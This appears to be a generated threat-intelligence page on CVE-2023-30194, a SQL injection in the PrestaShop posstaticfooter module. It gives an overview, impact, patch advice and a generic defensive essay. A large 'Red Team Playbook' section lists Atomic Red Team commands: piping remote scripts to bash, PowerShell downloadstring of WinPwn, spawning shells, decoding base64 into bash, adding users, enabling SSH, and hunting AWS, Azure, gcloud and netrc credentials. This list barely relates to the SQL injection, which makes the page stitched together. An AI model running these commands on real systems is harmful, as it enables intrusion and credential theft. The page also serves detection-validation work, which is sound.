CVE-2023-30194
Overview
This vulnerability is a SQL Injection affecting the posstaticfooter module in Prestashop versions up to 1.0.0. The root cause lies in improper sanitization of input parameters within the posstaticfooter::getPosCurrentHook() function, which directly incorporates user-supplied data into SQL queries. This flaw resides in the module’s database interaction layer responsible for retrieving hook information, allowing crafted input to manipulate query structure.
Vulnerability Description
Prestashop posstaticfooter <= 1.0.0 is vulnerable to SQL Injection via posstaticfooter::getPosCurrentHook().
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary SQL commands on the backend database, potentially leading to unauthorized data disclosure, modification, or deletion. The attack requires no user interaction and can be performed remotely over the network due to the module’s exposure. This can result in full compromise of the affected Prestashop instance’s data integrity and confidentiality, as indicated by the CVSS vector with network attack vector (AV:N), low attack complexity (AC:L), and no privileges required (PR:N).
Solution
Apply the security update provided by the module maintainer as detailed in the Friends of Presta advisory (https://friends-of-presta.github.io/security-advisories/modules/2023/05/09/posstaticfooter.html). Upgrade the poststaticfooter module to a version later than 1.0.0 where input sanitization and parameterized queries have been implemented to mitigate SQL Injection. No alternative workarounds are documented; thus, applying the patch is mandatory to resolve the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Prestashop posstaticfooter plugin, specifically in the method responsible for retrieving the current hook, is a classic example of SQL Injection. This occurs when user input is improperly sanitized, allowing an attacker to manipulate SQL queries executed by the application. In this case, the flaw resides in the way the plugin handles parameters passed to the database. By injecting malicious SQL code through the vulnerable function, an attacker can execute arbitrary SQL commands, potentially leading to unauthorized access to sensitive data, data manipulation, or even complete database compromise.
Attack vectors for exploiting this vulnerability are varied and can be executed with relative ease by an attacker with basic knowledge of SQL. The exploitation typically begins with identifying the vulnerable endpoint within the Prestashop environment. Once the attacker has pinpointed the entry point, they can craft a malicious request that includes SQL code embedded within the parameters. This could be done through various means, such as manipulating form fields, URL parameters, or API calls. The attacker can then extract sensitive information such as user credentials, payment information, or even administrative access, depending on the privileges associated with the database user account.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on Prestashop for e-commerce operations. A successful SQL Injection attack can lead to severe data breaches, resulting in the exposure of customer information, financial data, and proprietary business insights. This not only jeopardizes the trust of customers but also exposes the organization to regulatory scrutiny and potential legal liabilities. The financial repercussions can be substantial, encompassing costs related to incident response, public relations efforts, and potential fines from regulatory bodies. Moreover, the long-term damage to brand reputation can hinder customer retention and acquisition, ultimately affecting revenue.
To detect and mitigate the risks associated with this vulnerability, organizations should adopt a multi-layered security approach. Regular security assessments, including penetration testing and code reviews, can help identify vulnerabilities before they can be exploited. Implementing Web Application Firewalls (WAFs) can provide an additional layer of defense by filtering out malicious traffic and blocking SQL Injection attempts. Furthermore, developers should prioritize secure coding practices, such as using prepared statements and parameterized queries, to ensure that user input is properly sanitized. Keeping the Prestashop platform and its plugins updated is crucial, as updates often include patches for known vulnerabilities.
In conclusion, the vulnerability present in the Prestashop posstaticfooter plugin poses a critical risk to organizations utilizing this e-commerce platform. The potential for SQL Injection attacks highlights the importance of robust security measures and proactive vulnerability management. By understanding the technical details, potential attack vectors, and real-world implications, businesses can better prepare themselves to defend against such threats. Implementing effective detection and mitigation strategies will not only safeguard sensitive data but also reinforce customer trust and protect the organization’s reputation in a competitive market.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2023-30194, indicating increased adversary interest and potential reconnaissance efforts targeting the Prestashop posstaticfooter SQL Injection vulnerability. Although the overall exploit landscape remains unchanged with no new public exploit developments, the sharp rise in telemetry signals a growing likelihood that threat actors are actively probing vulnerable environments. This uptick in activity elevates the urgency for defenders to maintain heightened vigilance, as increased scanning and testing often precede exploitation attempts. While the EPSS score remains stable, the surge in observed activity suggests a dynamic threat environment where the risk of successful compromise may be rising. Consequently, this development warrants an elevated risk posture, underscoring the criticality of continuous monitoring and rapid incident response capabilities to mitigate potential exploitation.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Prestashop | Poststaticfooter | All |
cpe:2.3:a:prestashop:poststaticfooter:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
2 eventsSighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-30194 |
| themeforest.net |
GitHub CVE
|
https://themeforest.net/user/posthemes/portfolio |
| friends-of-presta.github.io |
GitHub CVE
|
https://friends-of-presta.github.io/security-advisories/modules/2023/05/09/posstaticfooter.html |